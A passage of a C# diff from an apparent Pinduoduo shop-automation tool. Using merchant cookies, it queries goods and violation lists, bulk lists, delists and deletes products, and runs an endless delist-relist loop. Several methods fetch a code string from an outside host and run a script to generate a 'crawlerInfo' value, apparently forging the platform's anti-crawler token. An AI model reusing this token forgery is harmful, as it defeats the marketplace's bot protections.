JsonConvert.DeserializeObject(html); + for (int j = 0; obj != null && j < obj.result.goods_list.Count; j++) + { + var goodInfo = obj.result.goods_list[j]; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = goodInfo.id; + p.GoodsSn = long.Parse(goodInfo.goods_sn); + p.Titlte = goodInfo.goods_name; + p.CatId = goodInfo.cat_id; + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = goodInfo.sold_quantity; + p.ShopName = Shop.ShopName; + string price = goodInfo.sku_group_price[0].ToString(); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + + int favcnt = int.Parse(goodInfo.fav_cnt); + p.favcnt = favcnt; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + p.OffLine = !isOnline; + if (p.SaleCount > 0) + continue; + if (!Shop.ResurVioSalesProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.ResurVioSalesProduct.Add(p); + } + } + catch + { + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + int favcnt = BaseRegex.GetIntJson(ref list, "fav_cnt"); + p.favcnt = favcnt; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + if (p.SaleCount > 0) + continue; + if (!Shop.ResurVioSalesProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.ResurVioSalesProduct.Add(p); + } + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + } + + /// + /// 获取在线商品禁售 + /// + public void GetResurOnline() + { + GetResurSalesOnline(); + Shop.ResurVioProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/genji/bloodroot/goodsBlacklist/query/list"; + string refere = "https://mms.pinduoduo.com/pg/violation_list"; + int minStartTime = BaseClass.GetTime(DateTime.Now.AddDays(-90)); + int maxStartTime = BaseClass.GetTime(DateTime.Now); + string data = "{\"pageNum\":#pageNum#,\"pageSize\":10,\"minStartTime\":" + minStartTime + ",\"maxStartTime\":" + maxStartTime + "}"; + //string data = "{\"order_by\":\"id:desc\",\"is_onsale\":" + (isOnline ? 1 : 0) + ",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#pageNum#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("recordsTotal")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#pageNum#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("recordsTotal")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#pageNum#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "recordsTotal"); + + int page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#pageNum#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("recordsTotal")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#pageNum#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("recordsTotal")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#pageNum#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId"); + long longid = BaseRegex.GetLongJson(ref list, "goodsIdLong"); + if (longid > 0) + p.GoodsId = longid; + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goodsSn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName"); + p.MailId = BaseRegex.GetLongJson(ref list, "mallId"); + p.ShopName = Shop.ShopName; + if (p.GoodsId == 0) + continue; + string reason = BaseRegex.GetStringJson(ref list, "reason"); + if (reason != "重复铺货") + continue; + + + UploadPinduoduoMain.ProductResurVioTemp.Add(p); + if (!Shop.ResurVioProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.ResurVioProduct.Add(p); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取禁售产品 " + shopName + ",分页:" + i); + //界面数据量太多会卡,处理界面卡的问题 + if (Shop.ResurVioProduct.Count > 4000) + Thread.Sleep(1500); + } + LogSave.Add(Name, "获取完成"); + } + public void UploadMethod() + { + int count = 0; + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + for (int j = 0; j < Shop.OnlineProduct.Count; j++) + { + if (Shop.OnlineProduct[j].OffLine == isOnline) + continue; + if (OffOroduct) + { + if (count >= OffProductCount) + { + break; + } + } + var api = new PinduoduoApiGetProduct(Shop); + //string html = ""; + //if (isOnline) + //{ + // html = api.SetOnline(Shop.OnlineProduct[j].GoodsId, false); + //} + //else + //{ + // html = api.SetOnline(Shop.OnlineProduct[j].GoodsId, true); + //} + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/onSale"; + if (isOnline) + urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/offSale"; + string refere = "https://mms.pinduoduo.com/"; + string data = "{\"goodsId\":" + Shop.OnlineProduct[j].GoodsId + ",\"crawlerInfo\":\"" + codex + "\"}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + if (html.Contains("\"success\":false")) + { + if (isOnline) + { + html = api.SetOnline(Shop.OnlineProduct[j].GoodsId, false); + } + else + { + html = api.SetOnline(Shop.OnlineProduct[j].GoodsId, true); + } + } + Shop.OnlineProduct[j].Message = !isOnline ? "上架成功" : "下架成功"; + UploadPinduoduoMain.ProductReplaceTemp.Add(Shop.OnlineProduct[j]); + Thread.Sleep(5 * 1000); + count++; + } + } + + public void UploadArrangeMethod() + { + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + var api = new PinduoduoApiGetProduct(Shop); + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/onSale"; + if (isOnline) + urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/offSale"; + string refere = "https://mms.pinduoduo.com/"; + string data = "{\"goodsId\":" + arrangePid + ",\"crawlerInfo\":\"" + codex + "\"}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = arrangePid; + p.Message = !isOnline ? "上架成功" : "下架成功"; + UploadPinduoduoMain.ProductArrangeTemp.Add(p); + Thread.Sleep(5 * 1000); + } + + public void UploadAutoOnMethod() + { + UploadAutoOn(); + var p = new GetProductOnlineClass(Name, Shop); + p.ReplaceModel = true; + p.isOnline = false; + p.GetAllOnlineIds(); + UploadAutoOn(); + OnOrOffStatus onOrOffStatus = new OnOrOffStatus(); + onOrOffStatus.shopName = Shop.ShopName; + onOrOffStatus.onStatus = "上架执行完成"; + UploadPinduoduoMain.onOrOffStatusList.Add(onOrOffStatus); + } + public void UploadAutoOn() + { + int count = 0; + string message = ""; + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + Shop.AutoShop.goodsOnCount = Shop.OffIds.Count; + AutoShopTemp.Add(Shop); + string error_msg = ""; + + for (int j = 0; j < Shop.OffIds.Count; j++) + { + var api = new PinduoduoApiGetProduct(Shop); + string html = api.SetOnline(Shop.OffIds[j], true); + + if (!string.IsNullOrEmpty(html) && html.Contains("\"error_msg\"")) + { + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + Shop.ClearNoVisitShop.goodOnStatus = error_msg; + ShopTemp.Add(Shop); + break; + } + Thread.Sleep(3 * 1000); + count++; + Shop.AutoShop.onCount = count; + Shop.AutoShop.goodOnStatus = "上架第" + count + "个"; + AutoShopTemp.Add(Shop); + } + for (int j = 0; j < offlines.Count; j++) + { + var api = new PinduoduoApiGetProduct(Shop); + string html = api.SetOnline(offlines[j], true); + if (!string.IsNullOrEmpty(html) && html.Contains("\"error_msg\"")) + { + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + Shop.ClearNoVisitShop.goodOnStatus = error_msg; + ShopTemp.Add(Shop); + break; + } + Thread.Sleep(3 * 1000); + count++; + Shop.AutoShop.onCount = count; + Shop.AutoShop.goodOnStatus = "上架第" + count + "个"; + AutoShopTemp.Add(Shop); + + } + if (!string.IsNullOrEmpty(error_msg)) + return; + Shop.AutoShop.goodOnStatus = "上架第" + count + "个(完成)"; + AutoShopTemp.Add(Shop); + } + public List offlines = new List(); + public void UploadAutoOffMethod() + { + int count = 0; + string message = ""; + offlines.Clear(); + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + Shop.AutoShop.goodsOffCount = Shop.OnIds.Count; + AutoShopTemp.Add(Shop); + for (int j = 0; j < Shop.OnIds.Count; j++) + { + if (UploadPinduoduoMain.onStartFlag) + { + offlines.Add(Shop.OnIds[j]); + } + var api = new PinduoduoApiGetProduct(Shop); + string html = api.SetOnline(Shop.OnIds[j], false); + Thread.Sleep(3 * 1000); + count++; + Shop.AutoShop.offCount = count; + Shop.AutoShop.goodOffStatus = "下架第" + count + "个"; + AutoShopTemp.Add(Shop); + + } + Shop.AutoShop.goodOffStatus = "下架第" + count + "个(完成)"; + AutoShopTemp.Add(Shop); + } + + + public static Dictionary loopOffLines = new Dictionary(); + public int loopoffCount = 0; + public void UploadLoopOffMethod() + { + string url = "https://mms.pinduoduo.com/earth/api/mallPunishment"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"size\":\"5\" }"; + //第一页匹配结果 + string htmlxt = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon()); + + //惩罚店铺 + int level = BaseRegex.GetIntJson(ref htmlxt, "punishmentLevel"); + string punishment = string.Empty; + if (level == 1) + { + punishment = "一级惩罚"; + } + else if (level == 2) + { + punishment = "二级惩罚"; + } + else if (level == 3) + { + punishment = "三级惩罚"; + } + else + { + punishment = "无"; + } + if (level > 0) + { + Shop.AutoShop.goodOffStatus = "店铺处于" + punishment + "中,跳过上下架"; + AutoShopTemp.Add(Shop); + return; + } + + while (true) + { + var p = new GetProductOnlineClass(Name, Shop); + p.ReplaceModel = true; + p.isOnline = true; + p.GetAllLoopOnlineIds(); + string message = ""; + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + Shop.AutoShop.goodsOffCount = Shop.OnIds.Count; + AutoShopTemp.Add(Shop); + for (int j = 0; j < Shop.OnIds.Count; j++) + { + var api = new PinduoduoApiGetProduct(Shop); + string html = api.SetOnline(Shop.OnIds[j], false); + Thread.Sleep(3 * 1000); + if (Shop.OnIds[j] == 0) + continue; + loopOffLines.Add(Shop.OnIds[j], Shop.ShopName); + Thread.Sleep(1000); + loopoffCount++; + Shop.AutoShop.offCount = loopoffCount; + Shop.AutoShop.goodsOnCount = loopOffLines.Count; + Shop.AutoShop.goodOffStatus = "循环下架第" + loopoffCount + "个"; + AutoShopTemp.Add(Shop); + } + Shop.AutoShop.goodOffStatus = "循环下架执行完成,半小时候继续执行"; + AutoShopTemp.Add(Shop); + //OnOrOffStatus onOrOffStatus = new OnOrOffStatus(); + //onOrOffStatus.shopName = Shop.ShopName; + //onOrOffStatus.offStatus = "循环下架执行完成,半小时候继续执行"; + //UploadPinduoduoMain.onOrOffStatusList.Add(onOrOffStatus); + Thread.Sleep(30 * 60 * 1000); + } + } + public static int looponCount = 0; + public static void UploadLoopOnMethod() + { + while (true) + { + if (loopOffLines.Keys.Count == 0) + { + Thread.Sleep(10); + continue; + } + string message = ""; + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + + try + { + KeyValuePair kvp = loopOffLines.FirstOrDefault(); + long goodsId = kvp.Key; + string shopName = kvp.Value; + loopOffLines.Remove(goodsId); + looponCount++; + //if (UploadPinduoduoMain.onOrLoopOffStatusList.Find(s => s.shopName == shopName) == null) + //{ + // OnOrOffStatus onOrOffStatus = new OnOrOffStatus(); + // onOrOffStatus.shopName = shopName; + // onOrOffStatus.onStatus = "循环上架开始执行";//上架参数 + // UploadPinduoduoMain.onOrOffStatusList.Add(onOrOffStatus); + // UploadPinduoduoMain.onOrLoopOffStatusList.Add(onOrOffStatus); + //} + var shop = GetShopLoginInfo.Shops.Find(s => s.ShopName == shopName); + if (shop == null) + continue; + string error_msg = ""; + var api = new PinduoduoApiGetProduct(shop); + string html = api.SetOnline(goodsId, true); + if (!string.IsNullOrEmpty(html) && html.Contains("\"error_msg\"")) + { + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + shop.ClearNoVisitShop.goodOnStatus = error_msg; + ShopTemp.Add(shop); + break; + } + Thread.Sleep(3 * 1000); + + if (html.Contains("\"error_msg\":\"调用过于频繁,请调整调用频率\"")) + { + message = "上架失败"; + } + UploadPinduoduoMain.ProductOnOrOffTempDic.Add(new OnOrOffProuduct { id = goodsId, shopName = shopName, message = message, name = shop.Name }); + LogSave.Add("循环上下架", "在线产品 " + goodsId + message); + + shop.AutoShop.onCount = looponCount; + shop.AutoShop.goodOnStatus = "循环上架第" + looponCount + "个"; + AutoShopTemp.Add(shop); + } + catch + { + + } + + } + + } + + public void GetChacheData() + { + string[] fl = FileBase.ReadAllLines("temp/upsame/" + Shop.Name + "edit.tjm"); + if (fl != null) + { + foreach (string s in fl) + { + if (string.IsNullOrEmpty(s) || !s.Contains(",")) + continue; + string[] li = s.Split(','); + long id; + if (li.Length != 2 || !long.TryParse(li[0], out id)) + continue; + DateTime dt = DateTime.Parse(li[1]); + if (chacheDic.ContainsKey(id)) + chacheDic[id] = dt; + else + chacheDic.Add(id, dt); + } + } + } + + public void GetOffSalesNoPV() + { + if (chacheDic.Count == 0) + { + GetChacheData(); + } + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + int pvCount = 0; + List ids = new List(); + for (int j = 0; j < Shop.OnlineProduct.Count; j++) + { + if (Shop.OnlineProduct[j].OffLine == isOnline) + continue; + if (NoSold && Shop.OnlineProduct[j].SaleCount > 0) + continue; + if (NoVisit && Shop.OnlineProduct[j].Pv > VisitCount) + continue; + if (NoNeerReplace) + { + if (chacheDic.ContainsKey(Shop.OnlineProduct[j].GoodsId) && DateTime.Now.AddDays(-NoNeerDays) > chacheDic[Shop.OnlineProduct[j].GoodsId]) + { + continue; + } + } + if (OffOroduct) + { + if (pvCount >= OffProductCount) + { + pvCount = 0; + break; + } + } + ids.Add(Shop.OnlineProduct[j].GoodsId); + Shop.OnlineProduct[j].Message = Shop.OnlineProduct[j].OffLine ? "上架成功" : "下架成功"; + UploadPinduoduoMain.ProductReplaceTemp.Add(Shop.OnlineProduct[j]); + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/offSale"; + string refere = "https://mms.pinduoduo.com/"; + string data = "{\"goodsId\":" + Shop.OnlineProduct[j].GoodsId + ",\"crawlerInfo\":\"" + codex + "\"}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + //var api = new PinduoduoApiGetProduct(Shop); + //string html = api.SetOnline(Shop.OnlineProduct[j].GoodsId, false); + Thread.Sleep(5 * 1000); + pvCount++; + } + + pvCount = 0; + } + + + public void GetDelProduct() + { + List ids = new List(); + for (int j = 0; j < Shop.OnlineProduct.Count; j++) + { + if (Shop.OnlineProduct[j].OffLine != isOnline) + continue; + ids.Add(Shop.OnlineProduct[j].GoodsId); + Shop.OnlineProduct[j].Message = "删除成功"; + UploadPinduoduoMain.ProductReplaceTemp.Add(Shop.OnlineProduct[j]); + if (ids.Count >= 15) + { + string html = DelIds(ids); + + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnlineProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + UploadPinduoduoMain.ProductReplaceTemp.Add(p); + } + return; + } + ids.Clear(); + LogSave.Add(Name, "删除成功:" + Shop.OnlineProduct[j].GoodsId); + Thread.Sleep(2000); + } + + } + if (ids.Count > 0) + { + string html = DelIds(ids); + if (html.Contains("删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnlineProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + UploadPinduoduoMain.ProductReplaceTemp.Add(p); + } + return; + } + } + LogSave.Add(Name, "删除完成"); + } + public string DelIds(List ids) + { + if (ids.Count == 0) + return ""; + StringBuilder pids = new StringBuilder(); + for (int i = 0; i < ids.Count; i++) + { + pids.Append("," + ids[i]); + } + var d = new DownUpProductExploder("", false, pids.ToString(1, pids.Length - 1)); + d.Cookies = Shop.Cookies; + d.Name = Name; + d.Shop = Shop; + if (isOnline) + { + string html = d.Delete(); + return html; + } + return ""; + } + + + /// + /// 获取在线 + /// + public void GetAllOnline() + { + Shop.OnOrOffProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + if (ReplaceModel) + { + if (p.SaleCount > 0) + { + LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + continue; + } + } + if (!Shop.OnOrOffProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnOrOffProduct.Add(p); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + if (UploadPinduoduoMain.NoVisit) + { + LogSave.Add(Name, "获取在线无流量产品 " + shopName); + UploadPinduoduoMain up = new UploadPinduoduoMain(Name); + up.Shop = Shop; + up.GetGroupVisit(); + } + } + /// + /// 获取在线 + /// + public void GetAllOnlineIds() + { + if (!isOnline)//true 商品处于上架状态,商品处于下架状态false + { + Shop.OffIds.Clear(); + } + else + { + Shop.OnIds.Clear(); + } + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + + long GoodsId = BaseRegex.GetLongJson(ref list, "id"); + + int SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + bool OffLine = !bool.Parse(mc[0].Groups[1].Value); + + if (ReplaceModel) + { + if (SaleCount > 0) + { + LogSave.Add(Name, "跳过销量商品 " + GoodsId); + continue; + } + } + if (!isOnline && OffLine && !Shop.OffIds.Contains(GoodsId)) + Shop.OffIds.Add(GoodsId); + if (isOnline && !OffLine && !Shop.OnIds.Contains(GoodsId)) + Shop.OnIds.Add(GoodsId); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + if (UploadPinduoduoMain.NoVisit) + { + LogSave.Add(Name, "获取在线无流量产品 " + shopName); + UploadPinduoduoMain up = new UploadPinduoduoMain(Name); + up.Shop = Shop; + up.isOnline = isOnline; + up.GetGroupVisitIds(); + } + } + + public void GetAllLoopOnlineIds() + { + if (!isOnline)//true 商品处于上架状态,商品处于下架状态false + { + Shop.OffIds.Clear(); + } + else + { + Shop.OnIds.Clear(); + } + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if 